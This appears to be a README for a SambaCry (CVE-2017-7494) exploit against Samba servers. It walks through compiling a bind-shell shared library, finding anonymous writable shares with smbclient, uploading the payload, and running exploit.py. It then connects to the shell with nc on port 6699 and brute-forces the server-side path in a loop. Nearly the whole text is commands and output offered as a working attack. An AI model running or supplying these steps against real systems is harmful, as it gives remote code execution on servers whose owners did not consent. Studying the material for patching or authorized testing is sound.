Exploit SambaCry (CVE-2017-7494) to exploit Samba (bind shell without Metasploit)
If you need to change the port, just change line 68 of bindshell-samba.c and recompile:
gcc -c -fpic bindshell-samba.c
gcc -shared -o libbindshell-samba.so bindshell-samba.o
How to exploit:
See the shares (in this example we are using an anonymous user):
smbclient -L //192.168.10.131/ -U "" -N
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
publico Disk Publico
IPC$ IPC IPC Service (maq131 server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

Access a folder and check if the user has write permissions:
smbclient //192.168.10.131/publico -U "" -N
If you have write permissions, send the file libbindshell-samba.so
smb: \> mput libbindshell-samba.so
Put file libbindshell-samba.so? yes
putting file libbindshell-samba.so as \libbindshell-samba.so (3.5 kb/s) (average 3.5 kb/s)
smb: \> dir
. D 0 Tue Nov 1 19:44:15 2022
.. D 0 Wed Jun 14 14:16:35 2017
libbindshell-samba.so A 8432 Tue Nov 1 19:44:17 2022
3997376 blocks of size 1024. 1960284 blocks available
smb: \>
Then just run the exploit:
python2 exploit.py -t target_ip -m path_absoluto_server_side
Example:
python2 exploit.py -t 192.168.10.131 -m /home/publico/libbindshell-samba.so
Connect to port 6699/TCP:
nc -vn 192.168.10.131 6699
If you don't know the absolute PATH on the server side, it is advisable to perform guessing and wait for port 6699/TCP to open:
for i in $(cat paths.txt);do python2 exploit.py -t 192.168.10.131 -m $i/publico/libbindshell-samba.so 2>/dev/null;done
